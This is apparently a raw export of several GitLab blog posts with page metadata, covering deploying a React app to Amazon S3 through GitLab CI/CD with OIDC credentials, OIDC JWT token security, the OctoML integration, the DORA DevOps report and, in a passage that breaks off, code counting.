documentation](https://docs.gitlab.com/ee/ci/cloud_services/index.html#configure-a-conditional-role-with-oidc-claims).\n\n![web identity](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/iam_2.png){: .shadow}\n\nDuring the **Add permissions** step, select the policy you created and select **Next** to continue. Give your role a name and click **Create role**.\n\nOpen the Role you just created. In the summary section, find the Amazon Resource Name (ARN) and save it somewhere secure. You will use this in your pipeline.\n\n![role](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/iam_3.png){: .shadow}\n\n## Deploy to your Amazon S3 bucket using a GitLab CI/CD pipeline\n\nInside of your project, create two [CI/CD variables](https://docs.gitlab.com/ee/ci/variables/#define-a-cicd-variable-in-the-ui). The first variable should be named `ROLE_ARN`. For the value, paste the ARN of the \nrole you just created. The second variable should be named `S3_BUCKET`. For the value, paste the name of the S3 bucket you created \nearlier in this post.\n\nI have chosen to mask my variables for an extra layer of security.\n\n### Retrieve your temporary credentials\n\nInside of your `.gitlab-ci.yml` file, paste the following code:\n\n```\n.assume_role: &assume_role\n    - >\n      STS=($(aws sts assume-role-with-web-identity\n      --role-arn ${ROLE_ARN}\n      --role-session-name \"GitLabRunner-${CI_PROJECT_ID}-${CI_PIPELINE_ID}\"\n      --web-identity-token $ID_TOKEN\n      --duration-seconds 3600\n      --query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken]'\n      --output text))\n    - export AWS_ACCESS_KEY_ID=\"${STS[0]}\"\n    - export AWS_SECRET_ACCESS_KEY=\"${STS[1]}\"\n    - export AWS_SESSION_TOKEN=\"${STS[2]}\"\n```\n\nThis is going to use the the AWS Security Token Service to generate temporary (_3,600 seconds_) credentials utilizing the OIDC role you created earlier.\n\n### Create the deploy job\n\nNow, let's add a build and deploy job to build your application and deploy it to your S3 bucket.\n\nFirst, update the stages in your `.gitlab-ci.yml` file to include a `build` and `deploy` stage as shown below:\n\n```\nstages:\n  - build\n  - test\n  - deploy\n```\n\nNext, let's add a job to build your application. Paste the following code in your `.gitlab-ci.yml` file:\n\n```\nbuild artifact:\n  stage: build\n  image: node:latest\n  before_script:\n    - npm install\n  script:\n    - npm run build\n  artifacts:\n    paths:\n      - build/\n    when: always\n  rules:\n    - if: '$CI_COMMIT_REF_NAME == \"main\"'\n      when: always\n```\n\nThis is going to run `npm run build` if the change occurs on the `main` branch and upload the build directory as an \nartifact to be used during the next step.\n\nNext, let's add a job to actually deploy to your S3 bucket. Paste the following code in your `.gitlab-ci.yml` file:\n\n```\ndeploy s3:\n  stage: deploy\n  image:\n    name: amazon/aws-cli:latest\n    entrypoint: \n      - '/usr/bin/env'\n  id_tokens:\n      ID_TOKEN:\n        aud: react_s3_gl\n  script:\n    - *assume_role\n    - aws s3 sync build/ s3://$S3_BUCKET\n  rules:\n    - if: '$CI_COMMIT_REF_NAME == \"main\"'\n      when: always\n```\n\nThis uses [YAML anchors](https://docs.gitlab.com/ee/ci/yaml/yaml_optimization.html#yaml-anchors-for-scripts) to run the `assume_role` script, \nand then uses the `aws cli` to upload your build artifact to the bucket you defined as a variable. This job also only runs if the change occurs \non the `main` branch.\n\nMake sure the `aud` value matches the value you entered for your audience when you setup the identity provider. In my case, I entered `react-s3_gl`.\n\nYour complete `.gitlab-ci.yml` file should look like this:\n\n```\nstages:\n  - build\n  - test\n  - deploy\n\n.assume_role: &assume_role\n    - >\n      STS=($(aws sts assume-role-with-web-identity\n      --role-arn ${ROLE_ARN}\n      --role-session-name \"GitLabRunner-${CI_PROJECT_ID}-${CI_PIPELINE_ID}\"\n      --web-identity-token $ID_TOKEN\n      --duration-seconds 3600\n      --query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken]'\n      --output text))\n    - export AWS_ACCESS_KEY_ID=\"${STS[0]}\"\n    - export AWS_SECRET_ACCESS_KEY=\"${STS[1]}\"\n    - export AWS_SESSION_TOKEN=\"${STS[2]}\"\n  \nunit test:\n  image: node:latest\n  stage: test\n  before_script:\n    - npm install\n  script:\n    - npm run test:ci\n  coverage: /All files[^|]*\\|[^|]*\\s+([\\d\\.]+)/\n  artifacts:\n    paths:\n      - coverage/\n    when: always\n    reports:\n      junit:\n        - junit.xml\n\nbuild artifact:\n  stage: build\n  image: node:latest\n  before_script:\n    - npm install\n  script:\n    - npm run build\n  artifacts:\n    paths:\n      - build/\n    when: always\n  rules:\n    - if: '$CI_COMMIT_REF_NAME == \"main\"'\n      when: always\n\n\ndeploy s3:\n  stage: deploy\n  image:\n    name: amazon/aws-cli:latest\n    entrypoint: \n      - '/usr/bin/env'\n  id_tokens:\n      ID_TOKEN:\n        aud: react_s3_gl\n  script:\n    - *assume_role\n    - aws s3 sync build/ s3://$S3_BUCKET\n  rules:\n    - if: '$CI_COMMIT_REF_NAME == \"main\"'\n      when: always\n```\n\n### Make a change and test your pipeline\n\nTo test your pipeline, inside of `App.js`, change this line `Edit \u003Ccode>src/App.js\u003C/code> and save to reload.` to \n`This was deployed from GitLab!` and commit your changes to the `main` branch. The pipeline should kick off and when \nit finishes successfully you should see your updated application at the URL of your static website.\n\n![updated app](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/auto_deploy.png){: .shadow}\n\nYou now have a CI/CD pipeline built in GitLab that receives temporary credentials from AWS using OIDC and \nautomatically deploys to your Amazon S3 bucket. To take it a step further, you can [secure your application](https://docs.gitlab.com/ee/user/application_security/secure_your_application.html) \nwith GitLab's built-in security tools.\n\nAll code for this project can be found [here](https://gitlab.com/guided-explorations/engineering-tutorials/react-s3).\n\nCover image by [Lucas van Oor](https://unsplash.com/@switch_dtp_fotografie?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/bucket?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n\n## Related posts and documentation\n- [How to automate testing for a React application with GitLab](/blog/how-to-automate-testing-for-a-react-application-with-gitlab/)\n- [How to deploy AWS with GitLab](/blog/deploy-aws/)\n- [Deploy to AWS from GitLab CI/CD](https://docs.gitlab.com/ee/ci/cloud_deployment/)\n- [Configure OpenID Connect in AWS to retrieve temporary credentials](https://docs.gitlab.com/ee/ci/cloud_services/aws/)\n- [Secure GitLab CI/CD workflows using OIDC JWT on a DevSecOps platform](https://about.gitlab.com/blog/oidc/)\n",[4103,110],{"slug":10942,"featured":6,"template":678},"how-to-deploy-react-to-amazon-s3","content:en-us:blog:how-to-deploy-react-to-amazon-s3.yml","How To Deploy React To Amazon S3","en-us/blog/how-to-deploy-react-to-amazon-s3.yml","en-us/blog/how-to-deploy-react-to-amazon-s3",{"_path":10948,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10949,"content":10955,"config":10960,"_id":10962,"_type":16,"title":10963,"_source":17,"_file":10964,"_stem":10965,"_extension":20},"/en-us/blog/oidc",{"title":10950,"description":10951,"ogTitle":10950,"ogDescription":10951,"noIndex":6,"ogImage":10952,"ogUrl":10953,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10953,"schema":10954},"Secure GitLab CI/CD workflows using OIDC JWT on a DevSecOps platform","Learn a new method to authenticate using JWT to increase the security of CI/CD workflows.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667094/Blog/Hero%20Images/container-security.jpg","https://about.gitlab.com/blog/oidc","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Secure GitLab CI/CD workflows using OIDC JWT on a DevSecOps platform\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dov Hershkovitch\"}],\n        \"datePublished\": \"2023-02-28\",\n      }",{"title":10950,"description":10951,"authors":10956,"heroImage":10952,"date":10957,"body":10958,"category":962,"tags":10959},[902],"2023-02-28","\n\nSecuring CI/CD workflows can be challenging. This blog post walks you through the problem validation, explores the JWT token technology and how it can be used with OIDC authentication, and discusses implementation challenges with authorization realms. You will learn about the current possibilities and future plans with GitLab 16.0. \n\n### Variables vs. secrets\nVariables are an efficient way to control and inject parameters into your jobs and pipelines, making managing and configuring the CI/CD workflows easier. You can read more about [how to use CI/CD variables](https://about.gitlab.com/blog/demystifying-ci-cd-variables/). An extra layer of security on top of variables to mask and protect, for now, is our “best-effort” to prevent sensitive variables from being accidentally revealed. However, variables are not a drop-in replacement for secrets. [Securing secrets natively](https://gitlab.com/gitlab-org/gitlab/-/issues/217355) is a solution that GitLab aspires to provide. Meanwhile, we recommend storing sensitive information in a dedicated secrets management solution. As a company, we will provide you abilities to integrate and retrieve secrets as part of your CI/CD workflows. \n\n## Security shifting left\nSensitive information like passwords, secret tokens, or shared IDs required to access tools and platforms need to be securely stored. They must also be highly available to their owners and the teams who use them. There are various secrets management solutions and frameworks available. They have addressed one problem but created new problems. For example: \"Which tool is right for our needs?\" More importantly, in software development: \"What's the best way to integrate this into our DevOps processes so that we're secure but still operating as efficiently as possible?\" Ignoring the security protocols in your organization is not an option. However, sensitive information should be stored as securely as possible. Something as simple as an access token stored in plain text can lead to security leaks and business incidents in the worst-case scenarios.\n\n## Initial support for JWT\nThe [JSON Web Token (JWT)](https://en.wikipedia.org/wiki/JSON_Web_Token) aims to build the integration bridge as an open standard for security claims exchange. It is a signed, short-lived, contextualized token that allows everyone to implement authentication between different products securely. The JWT consists of three parts: a header, a payload, and a signature.\n\n- The header represents the type of the token and the encryption algorithm.\n- The signature ensures that the token hasn't been altered.\n- The payload comprises a series of claims representing the information exchanged between two parties, which includes information about a GitLab user (ID, email, login) and the pipeline information (pipeline ID, job ID, environment, and more).\n\n_Example of GitLab JWT payload_\n\n```\n{\n  \"jti\": \"c82eeb0c-5c6f-4a33-abf5-4c474b92b558\",\n  \"iss\": \"gitlab.example.com\",\n  \"iat\": 1585710286,\n  \"nbf\": 1585798372,\n  \"exp\": 1585713886,\n  \"sub\": \"job_1212\",\n  \"namespace_id\": \"1\",\n  \"namespace_path\": \"mygroup\",\n  \"project_id\": \"22\",\n  \"project_path\": \"mygroup/myproject\",\n  \"user_id\": \"42\",\n  \"user_login\": \"myuser\",\n  \"user_email\": \"myuser@example.com\",\n  \"pipeline_id\": \"1212\",\n  \"pipeline_source\": \"web\",\n  \"job_id\": \"1212\",\n  \"ref\": \"auto-deploy-2020-04-01\",\n  \"ref_type\": \"branch\",\n  \"ref_protected\": \"true\",\n  \"environment\": \"production\",\n  \"environment_protected\": \"true\"\n}\n```\nUsing this information (called \"claims\"), you can implement an authentication condition where the token will get rejected if one of those claims does not match. You can use this to restrict access to only the authorized users and jobs in your pipelines.\n\nGitLab 12.10 added [initial support for JWT token-based connections](https://about.gitlab.com/releases/2020/04/22/gitlab-12-10-released/#retrieve-cicd-secrets-from-hashicorp-vault), which was later [enhanced](https://about.gitlab.com/releases/2020/09/22/gitlab-13-4-released/#use-hashicorp-vault-secrets-in-ci-jobs) with the `secrets:` keyword, as well as the `CI_JOB_JWT` predefined CI/CD variable, which is automatically injected into every job in a pipeline. This implementation was restricted to Hashicorp Vault, and users can use it to read secrets directly from the vault as part of their CI/CD workflow.\n \n### OIDC (JWT Version 2)\nThe logic we used to build the initial support for JWT opened up the possibility of connecting to other providers as well, but the first iteration was still restricted to Hashicorp Vault users.\n\nThis problem was addressed in GitLab 14.7 when we [released](https://about.gitlab.com/releases/2022/01/22/gitlab-14-7-released/#openid-connect-support-for-gitlab-cicd) the first \"Alpha\" version of JWT V2, which provided [Open ID Connect (OIDC)](https://openid.net/connect/) support for CI/CD.\n\nOIDC is an identity layer implemented on top of the JSON web token. You can securely authenticate against many products and services that implement OIDC, including AWS, GCP, and many more, making better use of the token's potential. Similar to our first JWT iteration, we added another [predefined CI/CD variable](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html) `CI_JOB_JWT_V2` which is also automatically injected into every job in a CI/CD pipeline.\n\n### Securely store your secrets \nYour software supply chain should include everything needed to deliver and run your software. Securing your supply chain means you need to secure your software and the surrounding (cloud-native) infrastructure. In [GitLab 15.9](https://about.gitlab.com/releases/2023/02/22/gitlab-15-9-released/), we've added additional layers of protection to move our OIDC token from an Experiment to General Availability, increasing the security of your CI/CD workflows. \n\n\n#### Opt-in JWT token\nJSON web tokens (V1 and V2) are stored in CI/CD variables, which are injected automatically into all jobs in a CI/CD pipeline. However, it is likely most jobs in your pipeline do not need the token. In addition to the inefficiency of injecting unused tokens into all jobs in a pipeline, there is a potential security vulnerability. All it takes is one compromised job for this token to be leaked and used by an attacker to retrieve sensitive information from your organization. To minimize this risk, we've added the ability to restrict the token variable from all jobs in your pipeline and expose it only to the specific jobs that need it.\n\nTo declare the JSON web token in a job that needs it, configure the job in the `.gitlab-ci.yml` configuration file following this example:\n\n```yaml\njob_name:\n  id_token:\n    MY_JOB_JWT: # or any other variable name\n  ...\n```\n\nYou can minimize the token exposure across your pipeline, but ensure it is available to the jobs that require it.\n\n#### Audience claim (`aud:`)\nClaims constitute the payload part of a JSON web token and represent a set of information exchanged between two parties. The JWT standard distinguishes between reserved, public, and private claims.\n\nThe audience (`aud:`) claim is a reserved claim, which identifies the audience that the JWT is intended for (the target of the token). In other words, which services, APIs, or products should accept this token. If the audience claim does not match, the token is rejected, so the audience claim is an essential part of software supply chain security.\n\nThe option to configure the audience claim is done in the CI/CD configuration when [declaring the usage of the JWT token](https://docs.gitlab.com/ee/ci/secrets/id_token_authentication.html#id-tokens), if we'll continue from the previous example:\n\n```yaml\njob_name:\n  id_token:\n    MY_JOB_JWT: # or any other variable name\n        aud: \"...\" # mandatory field\n  script:\n    - my-authentication-script.sh MY_JOB_JWT….. # use the declared variables in a script\n  ```\n\nConfiguring the audience claim is mandatory for Vault users that leverage the [GitLab/Vault native integration](https://docs.gitlab.com/ee/ci/secrets/#use-vault-secrets-in-a-ci-job) (using the 'secrets:' keyword).\n\n```yaml\njob_name:\n  secrets:\n    VAULT_JWT_1: # or any other variable name\n      id_token:\n        aud: 'devs' # audience claim configuration\n    STAGING_DATABASE_PASSWORD: # VAULT_JWT_1 is the token to be used\n      vault: staging/db/password@ops\n```\n\n### Breaking changes and backward compatibility \nWe understand the increasing demand to secure your software supply chain. We recognize that many of our current users already use the JWT in what will soon be the \"old JWT method\" (V1). To mitigate this conflict, we've decided that moving to the new (OIDC) JWT method is optional until the next major release (GitLab 16.0). To use the new (OIDC) token, users must opt-in to this change from the UI settings and update the pipeline configuration, as explained in the previous sections. Users can continue using the Experiment or the \"old method\" until GitLab 16.0. (At that point, only the \"new\" (OIDC) JWT token and method will be available.)\n\nSeveral breaking changes were announced for both [Vault users](https://docs.gitlab.com/ee/update/deprecations.html#hashicorp-vault-integration-will-no-longer-use-ci_job_jwt-by-default) and [users of the JWT \"old\" methods](https://docs.gitlab.com/ee/update/deprecations.html#old-versions-of-json-web-tokens-are-deprecated). Those changes are scheduled for GitLab 16.0.\n\n## Three ways to use the JWT token\nThere are three ways to use a JWT to authenticate against different products in your CI/CD pipeline:\n- The \"old\" method, using the `secrets:` keyword and the `CI_JOB_JWT` variable, which is mainly used to integrate with Hashicorp Vault.\n- An \"Alpha\" version that uses the `CI_JOB_JWT_V2` OIDC token to integrate with different cloud providers.\n- A production-ready OIDC token, which is a secured version of the `CI_JOB_JWT_V2` token, used to authenticate with a variety of different products, like Vault, GCP, AWS, and so on.\n\nAll three methods are available until the next major version (GitLab 16.0). At that point, only the secured OIDC token will be available.\n\nTo prepare for this change, you should:\n\n1. Configure your pipelines to use the fully configurable and more secure [id_token](https://docs.gitlab.com/ee/ci/yaml/index.html#id_tokens) keyword.\n2. Enable the [Limit JSON Web Token (JWT) access setting](https://docs.gitlab.com/ee/ci/secrets/id_token_authentication.html#enable-automatic-id-token-authentication), which prevents the old tokens from being exposed to any jobs. (This setting will be permanently enabled for all projects in GitLab 16.0).\n3. If you use GitLab/Hashicorp native integration (using the [secrets:vault](https://docs.gitlab.com/ee/ci/yaml/#secretsvault) keyword), ensure the bound audience is prefixed with `https://`.\n\nThis should ensure a smooth transition to [GitLab 16.0](/upcoming-releases/) without breaking your existing workflows.\n\n\n",[696,943,1384,1385],{"slug":10961,"featured":6,"template":678},"oidc","content:en-us:blog:oidc.yml","Oidc","en-us/blog/oidc.yml","en-us/blog/oidc",{"_path":10967,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10968,"content":10974,"config":10980,"_id":10982,"_type":16,"title":10983,"_source":17,"_file":10984,"_stem":10985,"_extension":20},"/en-us/blog/machine-learning-and-devsecops",{"title":10969,"description":10970,"ogTitle":10969,"ogDescription":10970,"noIndex":6,"ogImage":10971,"ogUrl":10972,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10972,"schema":10973},"Machine learning and DevSecOps: Inside the OctoML/GitLab integration","MLOps and DevSecOps teams can unify their workflows and gain automation and cost efficiencies.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666915/Blog/Hero%20Images/autodevops.jpg","https://about.gitlab.com/blog/machine-learning-and-devsecops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Machine learning and DevSecOps: Inside the OctoML/GitLab integration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sameer Farooqui, OctoML\"}],\n        \"datePublished\": \"2023-02-23\",\n      }",{"title":10969,"description":10970,"authors":10975,"heroImage":10971,"date":10977,"body":10978,"category":962,"tags":10979},[10976],"Sameer Farooqui, OctoML","2023-02-23","\n\nMachine learning can be a powerful tool in software development, but not if it has to live apart from existing engineering workflows. DevSecOps teams, including MLOps, can now integrate [OctoML CLI](https://gitlab.com/octoml/octoml-public/octoml-cli-tutorials) into [GitLab’s CI/CD Pipelines](https://docs.gitlab.com/ee/ci/pipelines/) to unify workflows and leverage existing deployment and monitoring infrastructure. This integration makes it easier to catch bugs and model performance degradations early in the ML development cycle. \n\nThe OctoML Platform is a machine learning model optimization and deployment service powered by octoml.ai. [Machine learning has grown in popularity](/blog/top-10-ways-machine-learning-may-help-devops/) in DevSecOps, along with AI, because of its ability to learn and model how to perform complex tasks as a human would and then automate those tasks.\n\n## How does CI/CD apply to machine learning?\n\nOnce a machine learning model has been successfully deployed, it can get stale over time and its accuracy could degrade, a situation called “data drift”. Data drift causes newer inferencing data to drift away from the data used to train the model. In the retail industry, this can happen because of seasonality, as an example.\n\nProduction models must be regularly refreshed by retraining their weights with the latest data. Applying CI/CD concepts borrowed from software engineering, the OctoML CI integration makes the deployment process for trained/re-trained models automated and repeatable.\n\n## How OctoML CLI and GitLab work together\n\nNew commits to your inference code repository can run [OctoML CLI](https://github.com/octoml/octoml-cli-tutorials#readme) in your GitLab pipeline to automatically optimize machine learning models for lowest cost per inference and lowest latency, and then deploy the optimized model to your cloud registry. For customers looking for more granular packaging formats that integrate with existing containerization systems, OctoML offers [Python wheel packaging](https://app.octoml.ai/docs/deploy.html#python-wheel-deployment) and will soon offer YAML configuration files. To reduce model latency and serving costs, OctoML searches through multiple acceleration engines such as Apache TVM, ONNX Runtime, and TensorRT and then suggests the ideal CPU or GPU hardware type on AWS, Azure, or GCP.\n\n## Choice in cloud deployment targets\n\nUsing OctoML CLI, developers can send any trained model to OctoML’s SaaS platform for cost efficiency and cloud hardware benchmarking. By adapting and optimizing the trained model to leverage hardware intrinsics in CPU and GPUs, OctoML makes inferences run faster in production, thus saving users on cost per inference and improving the user experience of ML applications.\n\n![Cloud workflow](https://about.gitlab.com/images/blogimages/octomlintegration/image1.png){: .shadow}\n\nThe cloud workflow is designed for enterprise and production deployments. Here’s how it works:\n\n* The initial push from a developer to the GitLab repository launches a local, shared, or remote runner.\n* The runner will send the updated, trained model first to OctoML’s platform for acceleration and hardware adaptation.\n* Then, the pipeline pushes the accelerated model container to the GitLab Container Registry.\n* Finally, it deploys the container to a managed Kubernetes service in any of the major cloud providers.\n\nModels deployed via the accelerated cloud workflow not only provide end users the lowest latency user experience but also save the organization compute costs at inference time, which can amount to \\[90% of a production machine learning application’s compute costs](https://aws.amazon.com/blogs/machine-learning/reduce-ml-inference-costs-on-amazon-sagemaker-with-hardware-and-software-acceleration/).\n\n## Four required stages for every pipeline\n\nEach pipeline has four stages: setup, package, deploy, and test. Here’s the logical flow:\n\n![Logical flow](https://about.gitlab.com/images/blogimages/octomlintegration/image2.png){: .shadow}\n\n1. common:setup - produces OctoML CLI binary artifact and passes it on to local:package\n2. cloud:package - packages the incoming model into a Docker tarball using the OctoML CLI binary and passes the tarball to the next stage\n3. cloud:deploy - builds a Docker image from the Tarball and deploys the docker container to a remote registry (in our example, we deploy it to AWS via GitLab Container Registry using Flux, but there can be other mechanisms)\n4. cloud:test - run the user-provided test script\n\nWhen a cloud pipeline is executed, the GitLab Pipeline UI will display a corresponding workflow:\n\n![GitLab Pipeline UI](https://about.gitlab.com/images/blogimages/octomlintegration/image3.png){: .shadow}\n\nSimilar to any other GitLab CI/CD job, our [example repository](https://gitlab.com/octoml/octoml-public/octoml-cli-tutorials) has YAML files that define how each stage will execute. You can easily clone the repository or code and adapt it to your custom model and inference code:\n\n![example repository](https://about.gitlab.com/images/blogimages/octomlintegration/image4.png){: .shadow}\n\nIn addition to the stage YAML files, OctoML CLI also has its own `octoml.yaml` configuration, which defines the path to your model, hardware type the model should be accelerated for, and the model’s input shapes:\n\n![octoml.yaml config](https://about.gitlab.com/images/blogimages/octomlintegration/image5.png){: .shadow}\n\n## Get started with OctoML CLI and GitLab CI/CD\n\nOctoML CLI and GitLab CI/CD unify your software engineering and machine learning pipelines by allowing ML models to be deployed using the same infrastructure and processes you’re currently using for software applications. Further, our integration makes it seamless to start with local model deployments to test end-to-end inference and move to accelerated cloud deployments with minimal changes to your workflow.\n\n**We’ve [published tutorials](https://gitlab.com/octoml/octoml-public/octoml-cli-tutorials) with an NLP (Bertsquad) and Vision (YOLOv5) model for end-to-end examples. So, to get started, download the [OctoML CLI](https://try.octoml.ai/cli/) and [request an acceleration consultation](https://try.octoml.ai/cli/#lp-pom-block-105) to receive a token to OctoML’s SaaS platform.**\n",[232,790,943],{"slug":10981,"featured":6,"template":678},"machine-learning-and-devsecops","content:en-us:blog:machine-learning-and-devsecops.yml","Machine Learning And Devsecops","en-us/blog/machine-learning-and-devsecops.yml","en-us/blog/machine-learning-and-devsecops",{"_path":10987,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10988,"content":10993,"config":10998,"_id":11000,"_type":16,"title":11001,"_source":17,"_file":11002,"_stem":11003,"_extension":20},"/en-us/blog/accelerate-state-of-devops-report-key-takeaways",{"title":10989,"description":10990,"ogTitle":10989,"ogDescription":10990,"noIndex":6,"ogImage":9757,"ogUrl":10991,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10991,"schema":10992},"Software supply chain security practices seeing only modest adoption","DORA Accelerate State of DevOps report shows opportunity lies within better security practices, including a focus on culture.","https://about.gitlab.com/blog/accelerate-state-of-devops-report-key-takeaways","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Software supply chain security practices seeing only modest adoption\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Aathira Nair\"}],\n        \"datePublished\": \"2023-02-21\",\n      }",{"title":10989,"description":10990,"authors":10994,"heroImage":9757,"date":10995,"body":10996,"category":674,"tags":10997},[2385],"2023-02-21","\nIf you are wondering what area of DevSecOps has tremendous opportunity for impact, look no further than [security of your software supply chain](https://about.gitlab.com/blog/the-ultimate-guide-to-software-supply-chain-security/). \n\n\"Software supply chain security practices, embodied as the [SLSA](https://about.gitlab.com/blog/achieve-slsa-level-2-compliance-with-gitlab/) or [SSDF](https://about.gitlab.com/blog/comply-with-nist-secure-supply-chain-framework-with-gitlab/) frameworks, are already seeing modest adoption but are not seeing universal adoption yet. There is still a lot of room for improvement there,\" said Todd Kuleza, a member of Google Cloud's DevOps Research and Assessment (DORA) team and a senior user experience (UX) researcher at Google Cloud.\n\nKuleza, a co-author of the DORA team's [2022 State of DevOps Report](https://cloud.google.com/devops/state-of-devops/), recently joined GitLab for [a webcast](https://learn.gitlab.com/diy-devops/stateofdevops2022) to discuss software supply chain security adoption, including:\n- Why teams choose CI/CD and other modern development processes to improve their security posture\n- How automated security checks within integration and deployment help developers own security processes\n- How to establish team security practices to reduce developer burnout\n\n> [Listen to the full webcast](https://learn.gitlab.com/diy-devops/stateofdevops2022) to learn how to model your organization's security practices around the DevSecOps capabilities of high-performing teams.\n\nThe [DORA metrics](https://about.gitlab.com/blog/how-the-dora-metrics-can-help-devops-team-performance/) have become central to how we understand software delivery velocity and team performance. They have helped organizations transition to a data-driven approach for software delivery, inline with business goals.\n\n## Securing the software supply chain\n\nFrom our own [GitLab 2022 Global DevSecOps Survey](https://about.gitlab.com/developer-survey/previous/2022/), we learned that more than 50% of developers are \"fully responsible\" for security in their organizations. Meanwhile, the DORA team found that the greatest predictor for security practices is cultural, not technical: \"High-trust, low-blame cultures focused on performance are more likely to have above average adoption of emerging security practices,\" according to their report.\n\nThe DORA report also states that organizations with low levels of security practices have 1.4x greater odds of having high levels of burnout than teams with high levels of security.\n\nAll told, this data demonstrates that security culture and technology together have to be a primary focus for DevSecOps teams going forward.\n\nLearn more about the DORA metrics:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/lM_FbVYuN8s\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",[4103,674,3554],{"slug":10999,"featured":6,"template":678},"accelerate-state-of-devops-report-key-takeaways","content:en-us:blog:accelerate-state-of-devops-report-key-takeaways.yml","Accelerate State Of Devops Report Key Takeaways","en-us/blog/accelerate-state-of-devops-report-key-takeaways.yml","en-us/blog/accelerate-state-of-devops-report-key-takeaways",{"_path":11005,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11006,"content":11012,"config":11017,"_id":11019,"_type":16,"title":11020,"_source":17,"_file":11021,"_stem":11022,"_extension":20},"/en-us/blog/code-counting-in-gitlab",{"title":11007,"description":11008,"ogTitle":11007,"ogDescription":11008,"noIndex":6,"ogImage":11009,"ogUrl":11010,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11010,"schema":11011},"Lightning fast code counting for better code management intelligence","Knowledge of your code composition can come through simple counting of lines of code per language.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682614/Blog/Hero%20Images/noaa-PkHsrwNOfBE-unsplash.jpg","https://about.gitlab.com/blog/code-counting-in-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Lightning fast code counting for better code management intelligence\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darwin Sanoy\"}],\n        \"datePublished\": \"2023-02-15\",\n      }",{"title":11007,"description":11008,"authors":11013,"heroImage":11009,"date":11014,"body":11015,"category":734,"tags":11016},[1244],"2023-02-15","\n\nOne of the earliest forms of intelligence was to simply answer the question “How many?”. Counting is one of the first things that we learn as a child. As we grow older, we come to see this deceptively simple concept as somewhat childish. Yet, upon the concept of counting, the entire discipline of statistics is founded. In turn, every discipline that benefits from statistics owes a debt of gratitude to the very humble concept of counting. \n\nMany of the massive data lakes we keep are essentially vast amounts of counting. Using artificial intelligence to analyze this data, we frequently find insights we were not expecting. So it would seem that counting is somewhat of a fractal concept – it’s deceptively simple, but, when compounded, generates delightful things.\n\nSo if we have a thing we are trying to be more intelligent about, our first endeavor might be to count it. Let’s see how to apply that to our code stored in GitLab.\n\n### Why developers count code\n\nThe following list is from real-world scenarios. Many of them are also asserted in Ben Boyter’s blog post [Why count lines of code?](https://boyter.org/posts/why-count-lines-of-code/). Their enumeration here is not an endorsement of the validity or accuracy of code counting for the claimed benefit and the fundamental assumptions of such models are not stated. Because code counting is essentially a form of modeling, it is also subject to George Box’s axiom: “All models are wrong, but some are useful.”\n\n- Showing the languages in a repository using an absolute metric like source lines of code helps to quickly assess if one can contribute to the project, given their own talents. \n- Cost assessment for anything which charges by “lines of code” (some code scanning and development tools may charge this way).\n- Although [research](https://gitlab.com/gitlab-org/gitlab/-/issues/371038) shows that lines of code are not a good metric for measuring contribution, some developers have gotten used to seeing lines of code per contributor. \n- Code base shrinkage as a measure of good architecture (simplification).\n- Anything where the complexity of code affects project agility and costs. For instance, assessing and reporting status on migrating a code base to a new language. \n- Staffing a development team – understanding what language competencies are needed across the team and in what relative proportion to each other or understanding that for the entire organization’s codebase.\n- IT tooling decisions to support the needs of an organization given the most used coding languages across all repositories in the org.\n- Assessment of tech debt.\n\nWhile it is easy to create bad models with any of the above counts, the focus of this post is to get some good counts from which you can carefully build a model.\n\n### Toolsmithing GitLab CI: A working example as a shared CI library\n\nThe easiest way to differentiate between a “toolized” and “templated” solution is that you can simply and easily reuse this exact code without needing to change it. Many formal coding languages have the concept of shared libraries or dependencies that are essentially toolized. A templated solution consists of a starting point that you customize and then have to manage the code yourself. These can function as scaffolding for a starting point for an entire project or snippets of code that do a specific function. The fundamental difference is that when you use a template, you end up owning and managing the resultant code going forward.\n\nIn [GitLab CI](https://docs.gitlab.com/ee/ci/introduction/index.html), we can create our own tooling or dependencies with a few tricks stolen from [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/). These tricks are:\n\n1. Use includes to reference the shared managed library code (this creates a “dependency” on code that is being managed outside of your own).\n2. The includable code must be written like a function where all needed inputs are either passed in, or can be collected from the environment. No hard coding is allowed because that means you’ve created a template which can’t be depended upon directly.\n3. Use GitLab CI ‘functions’. I am coining this term to indicate that in GitLab you can precede a job name with a “.” (dot) and it will not be executed when it is read. Then you can create a new job using all the code in the “dot named” job and add variables by using the `extends:` command keyword. By using dot named jobs in your includable code, the developer consuming the “managed shared CI dependency” can decide when, where, and how to call the toolized code.\n\n### The result: A code-counting GitLab CI extension\n\nHere are 